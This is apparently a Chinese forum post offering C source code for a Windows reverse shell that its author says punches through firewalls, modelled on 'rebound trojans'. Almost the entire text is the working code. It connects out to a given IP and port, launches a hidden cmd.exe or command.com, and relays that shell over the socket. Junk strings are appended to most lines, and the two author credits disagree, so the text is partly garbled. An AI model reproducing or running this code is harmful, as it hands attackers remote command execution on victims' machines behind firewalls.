这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 o;[cApiQ,2
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/* ============================== MkK6.qV\z
Rebound port in Windows NT r-e-2y7
By wind,2006/7 '/U% -/@
===============================*/ ,DIr&5>p2
#include [wkSY>Gu
#include q.:j
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#pragma comment(lib,"wsock32.lib") +*`>7m<^
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void OutputShell(); M+l~^E0Wj
SOCKET sClient; P[K42mm
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; y F;KyY{
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void main(int argc,char **argv) TQL_K8k@_
{ P;bOtT --
WSADATA stWsaData; wl Nl|+ K
int nRet; b O9PpOk+z
SOCKADDR_IN stSaiClient,stSaiServer; O*lMIWx
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if(argc != 3) v"x'rx#
{ F9J9zs*,
printf("Useage:\n\rRebound DestIP DestPort\n"); 0c
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return; EUmbNV0u
} -~NjZ=vPh
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WSAStartup(MAKEWORD(2,2),&stWsaData); 3kW%,d*_
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /4>|6l=
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stSaiClient.sin_family = AF_INET; ' JAcN@q~z
stSaiClient.sin_port = htons(0); 4<btWbk5u*
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); tGwQUn
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1SG^g*mf
{ zbZN-j#
printf("Bind Socket Failed!\n"); OrRU$5Lo
return; -Gj."ks
} $h|8z
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stSaiServer.sin_family = AF_INET; )U+Pt98"
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [pzo[0G 'v
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >>.4@
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _zG[b/:p
{ xX~;
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printf("Connect Error!"); Gj- *D7X5
return; MT^krv(G
} ?'mi6jFFh
OutputShell(); }kF*I@:g
} mNQ*YCq.
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void OutputShell() ^$;5ZkQy
{ !=p^@N7
char szBuff[1024]; .B_a3K4'{^
SECURITY_ATTRIBUTES stSecurityAttributes; YPmgR]=6
OSVERSIONINFO stOsversionInfo; (i@B+c
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?UBhM,;XK
STARTUPINFO stStartupInfo; &d 6
char *szShell; +"3K)9H
PROCESS_INFORMATION stProcessInformation; %Hpz^<`
unsigned long lBytesRead; W~?mr!`
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +8 }p-<a
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +`+r\*C5
stSecurityAttributes.lpSecurityDescriptor = 0; 87OX:6
stSecurityAttributes.bInheritHandle = TRUE; `y*o-St3
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $@eFSA5k,7
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^2eH0O!
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); deqL
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L=)Arj@q
stStartupInfo.wShowWindow = SW_HIDE; B'-L-]\H
stStartupInfo.hStdInput = hReadPipe; vFH1hm
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (I ~r~5^
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GetVersionEx(&stOsversionInfo); 4L/8Hj#g
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switch(stOsversionInfo.dwPlatformId) *v0}S5^/"
{ 89l{h8R
case 1: T]y^PT<8?
szShell = "command.com"; C^9bur/
break; la*c/*
default: (nt=
szShell = "cmd.exe"; q|xic>.
break; )kt,E}609
} `dm}|$X|
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); KO&oT#S
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send(sClient,szMsg,77,0); xYD.j~
while(1) vj+ S
{ Qh!h "]
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (7?jjH^4
if(lBytesRead) I>%@[h,+
{ {GKq Ou
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); rEY5,'?YHv
send(sClient,szBuff,lBytesRead,0); lPOcX'3\
} =7 ${bp!
else p'YNj3&u
{ z]0UW\S/
lBytesRead=recv(sClient,szBuff,1024,0); Q2RO&dL
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if(lBytesRead<=0) break; vw/X
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); x[1(cj
} BZs?tbf
} \"AzT{l!;
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return; %#-'|~
}